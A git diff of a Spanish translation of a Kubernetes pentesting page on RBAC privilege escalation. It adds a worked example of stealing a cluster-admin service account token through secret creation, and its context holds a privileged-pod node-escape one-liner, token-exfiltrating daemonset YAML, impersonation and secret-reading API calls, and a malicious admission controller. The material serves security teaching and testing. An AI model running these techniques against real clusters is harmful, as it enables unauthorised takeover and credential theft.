Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus

This commit is contained in:
Translator
2025-01-22 12:06:20 +00:00
parent 40fc740366
commit fbd1168835

View File

@@ -31,7 +31,7 @@ verbs: ["*"]
```
### Acceder a Cualquier Recurso con un verbo específico
En RBAC, ciertos permisos presentan riesgos significativos:
En RBAC, ciertos permisos representan riesgos significativos:
1. **`create`:** Concede la capacidad de crear cualquier recurso del clúster, arriesgando la escalada de privilegios.
2. **`list`:** Permite listar todos los recursos, potencialmente filtrando datos sensibles.
@@ -77,7 +77,7 @@ hostNetwork: true
Lo siguiente indica todos los privilegios que un contenedor puede tener:
- **Acceso privilegiado** (deshabilitando protecciones y configurando capacidades)
- **Deshabilitar namespaces hostIPC y hostPid** que pueden ayudar a escalar privilegios
- **Deshabilitar los namespaces hostIPC y hostPid** que pueden ayudar a escalar privilegios
- **Deshabilitar el namespace hostNetwork**, dando acceso para robar privilegios de nube de nodos y mejor acceso a redes
- **Montar hosts / dentro del contenedor**
```yaml:super_privs.yaml
@@ -123,7 +123,7 @@ Una línea de [este tweet](https://twitter.com/mauilion/status/11294684854807511
```bash
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
```
Ahora que puedes escapar al nodo, consulta las técnicas de post-explotación en:
Ahora que puedes escapar al nodo, revisa las técnicas de post-explotación en:
#### Sigilo
@@ -143,7 +143,7 @@ _Puedes encontrar un ejemplo de cómo crear/abusar de las configuraciones de pod
Si puedes **crear** un **pod** (y opcionalmente una **cuenta de servicio**) podrías **obtener privilegios en el entorno de la nube** al **asignar roles de nube a un pod o a una cuenta de servicio** y luego acceder a él.\
Además, si puedes crear un **pod con el espacio de nombres de red del host**, puedes **robar el rol de IAM** de la instancia del **nodo**.
Para más información consulta:
Para más información, consulta:
{{#ref}}
pod-escape-privileges.md
@@ -151,7 +151,7 @@ pod-escape-privileges.md
### **Crear/Patch Despliegue, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs y Cronjobs**
Es posible abusar de estos permisos para **crear un nuevo pod** y escalar privilegios como en el ejemplo anterior.
Es posible abusar de estos permisos para **crear un nuevo pod** y establecer privilegios como en el ejemplo anterior.
El siguiente yaml **crea un daemonset y exfiltra el token de la SA** dentro del pod:
```yaml
@@ -191,9 +191,9 @@ path: /
```
### **Pods Exec**
**`pods/exec`** es un recurso en kubernetes utilizado para **ejecutar comandos en una shell dentro de un pod**. Esto permite **ejecutar comandos dentro de los contenedores o obtener una shell dentro**.
**`pods/exec`** es un recurso en kubernetes utilizado para **ejecutar comandos en un shell dentro de un pod**. Esto permite **ejecutar comandos dentro de los contenedores o obtener un shell dentro**.
Por lo tanto, es posible **entrar en un pod y robar el token del SA**, o entrar en un pod privilegiado, escapar al nodo y robar todos los tokens de los pods en el nodo y (ab)usar el nodo:
Por lo tanto, es posible **entrar en un pod y robar el token del SA**, o ingresar a un pod privilegiado, escapar al nodo y robar todos los tokens de los pods en el nodo y (ab)usar el nodo:
```bash
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
```
@@ -233,7 +233,7 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
```
**Un laboratorio y un exploit automatizado se pueden encontrar en** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
#### Eludir la protección readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
#### Eludir la protección de solo lectura <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
Si tienes la suerte de que la capacidad altamente privilegiada `CAP_SYS_ADMIN` esté disponible, puedes simplemente volver a montar la carpeta como rw:
```bash
@@ -247,7 +247,7 @@ allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
```
Que estaba destinado a prevenir escapes como los anteriores al, en lugar de usar un hostPath mount, usar un PersistentVolume y un PersistentVolumeClaim para montar una carpeta de hosts en el contenedor con acceso de escritura:
Lo que se pretendía era prevenir escapes como los anteriores al, en lugar de usar un hostPath mount, utilizar un PersistentVolume y un PersistentVolumeClaim para montar una carpeta de hosts en el contenedor con acceso de escritura:
```yaml
apiVersion: v1
kind: PersistentVolume
@@ -297,12 +297,12 @@ name: task-pv-storage-vol
Con un privilegio de [**suplantación de usuario**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), un atacante podría suplantar una cuenta privilegiada.
Simplemente usa el parámetro `--as=<username>` en el comando `kubectl` para suplantar a un usuario, o `--as-group=<group>` para suplantar a un grupo:
Simplemente use el parámetro `--as=<username>` en el comando `kubectl` para suplantar a un usuario, o `--as-group=<group>` para suplantar a un grupo:
```bash
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters
```
O utiliza la API REST:
O use la API REST:
```bash
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
@@ -312,21 +312,84 @@ https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Listando Secretos
El permiso para **listar secretos podría permitir a un atacante leer realmente los secretos** accediendo al endpoint de la API REST:
El permiso para **listar secretos podría permitir a un atacante leer realmente los secretos** accediendo al punto final de la API REST:
```bash
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Creación y Lectura de Secretos
Hay un tipo especial de secreto de Kubernetes de tipo **kubernetes.io/service-account-token** que almacena tokens de serviceaccount. Si tienes permisos para crear y leer secretos, y también conoces el nombre del serviceaccount, puedes crear un secreto de la siguiente manera y luego robar el token del serviceaccount de la víctima:
```yaml
apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token
```
Ejemplo de explotación:
```bash
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
secrets [] [] [get create]
[/.well-known/openid-configuration/] [] [get]
<SNIP>
[/version] [] [get]
$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"
$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"
$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created
$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}
```
Tenga en cuenta que si se le permite crear y leer secretos en un cierto namespace, la cuenta de servicio de la víctima también debe estar en ese mismo namespace.
### Lectura de un secreto fuerza bruta de IDs de token
Mientras que un atacante en posesión de un token con permisos de lectura requiere el nombre exacto del secreto para usarlo, a diferencia del privilegio más amplio de _**listar secretos**_, aún existen vulnerabilidades. Las cuentas de servicio predeterminadas en el sistema pueden ser enumeradas, cada una asociada con un secreto. Estos secretos tienen una estructura de nombre: un prefijo estático seguido de un token alfanumérico aleatorio de cinco caracteres (excluyendo ciertos caracteres) de acuerdo con el [código fuente](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
El token se genera a partir de un conjunto limitado de 27 caracteres (`bcdfghjklmnpqrstvwxz2456789`), en lugar del rango alfanumérico completo. Esta limitación reduce el total de combinaciones posibles a 14,348,907 (27^5). En consecuencia, un atacante podría ejecutar de manera factible un ataque de fuerza bruta para deducir el token en cuestión de horas, lo que podría llevar a una escalada de privilegios al acceder a cuentas de servicio sensibles.
El token se genera a partir de un conjunto limitado de 27 caracteres (`bcdfghjklmnpqrstvwxz2456789`), en lugar del rango alfanumérico completo. Esta limitación reduce el total de combinaciones posibles a 14,348,907 (27^5). En consecuencia, un atacante podría ejecutar razonablemente un ataque de fuerza bruta para deducir el token en cuestión de horas, lo que podría llevar a una escalada de privilegios al acceder a cuentas de servicio sensibles.
### Solicitudes de Firma de Certificados
Si tienes los verbos **`create`** en el recurso `certificatesigningrequests` (o al menos en `certificatesigningrequests/nodeClient`). Puedes **crear** un nuevo CeSR de un **nuevo nodo.**
Si tiene los verbos **`create`** en el recurso `certificatesigningrequests` (o al menos en `certificatesigningrequests/nodeClient`). Puede **crear** un nuevo CeSR de un **nuevo nodo.**
De acuerdo con la [documentación, es posible aprobar automáticamente estas solicitudes](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), así que en ese caso **no necesitas permisos adicionales**. Si no, necesitarías poder aprobar la solicitud, lo que significa actualizar en `certificatesigningrequests/approval` y `approve` en `signers` con resourceName `<signerNameDomain>/<signerNamePath>` o `<signerNameDomain>/*`
De acuerdo con la [documentación, es posible aprobar automáticamente estas solicitudes](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), por lo que en ese caso **no necesita permisos adicionales**. Si no, necesitaría poder aprobar la solicitud, lo que significa actualizar en `certificatesigningrequests/approval` y `approve` en `signers` con resourceName `<signerNameDomain>/<signerNamePath>` o `<signerNameDomain>/*`
Un **ejemplo de un rol** con todos los permisos requeridos es:
```yaml
@@ -361,8 +424,8 @@ verbs:
```
Entonces, con el nuevo CSR de nodo aprobado, puedes **abusar** de los permisos especiales de los nodos para **robar secretos** y **escalar privilegios**.
En [**esta publicación**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) y [**esta otra**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), la configuración de GKE K8s TLS Bootstrap está configurada con **firma automática** y se abusa para generar credenciales de un nuevo nodo K8s y luego abusar de esas credenciales para escalar privilegios robando secretos.\
Si **tienes los privilegios mencionados, podrías hacer lo mismo**. Ten en cuenta que el primer ejemplo elude el error que impide que un nuevo nodo acceda a secretos dentro de los contenedores porque un **nodo solo puede acceder a los secretos de los contenedores montados en él.**
En [**esta publicación**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) y [**esta otra**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), la configuración de GKE K8s TLS Bootstrap está configurada con **firma automática** y se abusa para generar credenciales de un nuevo nodo K8s y luego abusar de esas para escalar privilegios robando secretos.\
Si **tienes los privilegios mencionados, podrías hacer lo mismo**. Ten en cuenta que el primer ejemplo elude el error que impide que un nuevo nodo acceda a secretos dentro de contenedores porque un **nodo solo puede acceder a los secretos de los contenedores montados en él.**
La forma de eludir esto es simplemente **crear credenciales de nodo para el nombre del nodo donde el contenedor con los secretos interesantes está montado** (pero solo verifica cómo hacerlo en la primera publicación):
```bash
@@ -444,11 +507,11 @@ Principales que pueden **`update`** o **`patch`** **`pods/ephemeralcontainers`**
Principales con cualquiera de los verbos `create`, `update` o `patch` sobre `validatingwebhookconfigurations` o `mutatingwebhookconfigurations` podrían ser capaces de **crear uno de esos webhookconfigurations** para poder **escalar privilegios**.
Para un [ejemplo de `mutatingwebhookconfigurations` consulta esta sección de esta publicación](./#malicious-admission-controller).
Para un [ejemplo de `mutatingwebhookconfigurations` consulta esta sección de esta publicación](#malicious-admission-controller).
### Escalar
Como puedes leer en la siguiente sección: [**Prevención de Escalación de Privilegios Incorporada**](./#built-in-privileged-escalation-prevention), un principal no puede actualizar ni crear roles o clusterroles sin tener él mismo esos nuevos permisos. Excepto si tiene el **verbo `escalate`** sobre **`roles`** o **`clusterroles`**.\
Como puedes leer en la siguiente sección: [**Prevención de Escalación de Privilegios Incorporada**](#built-in-privileged-escalation-prevention), un principal no puede actualizar ni crear roles o clusterroles sin tener él mismo esos nuevos permisos. Excepto si tiene el **verbo `escalate`** sobre **`roles`** o **`clusterroles`**.\
Entonces puede actualizar/crear nuevos roles, clusterroles con mejores permisos que los que tiene.
### Proxy de nodos
@@ -459,7 +522,7 @@ Principales con acceso al subrecurso **`nodes/proxy`** pueden **ejecutar código
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
{{#endref}}
Tienes un ejemplo de cómo obtener [**RCE hablando autorizado a una API de Kubelet aquí**](../pentesting-kubernetes-services/#kubelet-rce).
Tienes un ejemplo de cómo obtener [**RCE hablando autorizado a una API de Kubelet aquí**](../pentesting-kubernetes-services/index.html#kubelet-rce).
### Eliminar pods + nodos no programables
@@ -482,7 +545,7 @@ Los principales que pueden **modificar** **`services/status`** pueden establecer
Los principales con permisos de **`update`** o **`patch`** sobre `nodes/status` o `pods/status`, podrían modificar etiquetas para afectar las restricciones de programación impuestas.
## Prevención de Escalación de Privilegios Incorporada
## Prevención de escalación de privilegios incorporada
Kubernetes tiene un [mecanismo incorporado](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) para prevenir la escalación de privilegios.
@@ -493,26 +556,26 @@ La regla estipula que un **usuario solo puede crear o actualizar un rol si posee
> [!WARNING]
> Hay una excepción a la regla anterior. Si un principal tiene el **verbo `escalate`** sobre **`roles`** o **`clusterroles`**, puede aumentar los privilegios de roles y clusterroles incluso sin tener los permisos él mismo.
### **Obtener y Parchear RoleBindings/ClusterRoleBindings**
### **Obtener y parchear RoleBindings/ClusterRoleBindings**
> [!CAUTION]
> **Aparentemente, esta técnica funcionó antes, pero según mis pruebas, ya no está funcionando por la misma razón explicada en la sección anterior. No puedes crear/modificar un rolebinding para darte a ti mismo o a un SA diferente algunos privilegios si no los tienes ya.**
> **Aparentemente, esta técnica funcionaba antes, pero según mis pruebas, ya no está funcionando por la misma razón explicada en la sección anterior. No puedes crear/modificar un rolebinding para darte a ti mismo o a una SA diferente algunos privilegios si no los tienes ya.**
El privilegio de crear Rolebindings permite a un usuario **vincular roles a una cuenta de servicio**. Este privilegio puede llevar potencialmente a la escalación de privilegios porque **permite al usuario vincular privilegios de administrador a una cuenta de servicio comprometida.**
## Otros Ataques
## Otros ataques
### Aplicación de proxy Sidecar
### Aplicación proxy sidecar
Por defecto, no hay ninguna encriptación en la comunicación entre pods. Autenticación mutua, bidireccional, pod a pod.
Por defecto, no hay ninguna encriptación en la comunicación entre pods. Autenticación mutua, bidireccional, de pod a pod.
#### Crear una aplicación de proxy Sidecar <a href="#create-a-sidecar-proxy-app" id="create-a-sidecar-proxy-app"></a>
#### Crear una aplicación proxy sidecar <a href="#create-a-sidecar-proxy-app" id="create-a-sidecar-proxy-app"></a>
Crea tu .yaml
```bash
kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'
```
Edita tu .yaml y añade las líneas descomentadas:
Edita tu .yaml y añade las líneas sin comentar:
```yaml
#apiVersion: v1
#kind: Pod
@@ -554,7 +617,7 @@ Más información en: [https://kubernetes.io/docs/tasks/configure-pod-container/
Un controlador de admisión **intercepta las solicitudes al servidor API de Kubernetes** antes de la persistencia del objeto, pero **después de que la solicitud ha sido autenticada** **y autorizada**.
Si un atacante logra **inyectar un Controlador de Admisión de Mutación**, podrá **modificar solicitudes ya autenticadas**. Esto podría permitir un potencial privesc y, más comúnmente, persistir en el clúster.
Si un atacante logra **inyectar un Controlador de Admisión de Mutación**, podrá **modificar solicitudes ya autenticadas**. Esto podría permitir un posible privesc y, más comúnmente, persistir en el clúster.
**Ejemplo de** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
```bash
@@ -596,7 +659,7 @@ Value: "rewanthtammana/malicious-image",
```
El fragmento anterior reemplaza la primera imagen del contenedor en cada pod con `rewanthtammana/malicious-image`.
## Bypass de OPA Gatekeeper
## OPA Gatekeeper bypass
{{#ref}}
../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
@@ -604,14 +667,14 @@ El fragmento anterior reemplaza la primera imagen del contenedor en cada pod con
## Mejores Prácticas
### **Deshabilitar el Automontaje de Tokens de Cuentas de Servicio**
### **Deshabilitar la Automontura de Tokens de Cuentas de Servicio**
- **Pods y Cuentas de Servicio**: Por defecto, los pods montan un token de cuenta de servicio. Para mejorar la seguridad, Kubernetes permite deshabilitar esta función de automontaje.
- **Pods y Cuentas de Servicio**: Por defecto, los pods montan un token de cuenta de servicio. Para mejorar la seguridad, Kubernetes permite deshabilitar esta función de automontura.
- **Cómo Aplicar**: Establecer `automountServiceAccountToken: false` en la configuración de cuentas de servicio o pods a partir de la versión 1.6 de Kubernetes.
### **Asignación Restrictiva de Usuarios en RoleBindings/ClusterRoleBindings**
- **Inclusión Selectiva**: Asegúrese de que solo los usuarios necesarios estén incluidos en RoleBindings o ClusterRoleBindings. Audite regularmente y elimine usuarios irrelevantes para mantener una seguridad estricta.
- **Inclusión Selectiva**: Asegúrese de que solo se incluyan los usuarios necesarios en RoleBindings o ClusterRoleBindings. Audite regularmente y elimine usuarios irrelevantes para mantener una seguridad estricta.
### **Roles Específicos de Namespace sobre Roles de Clúster**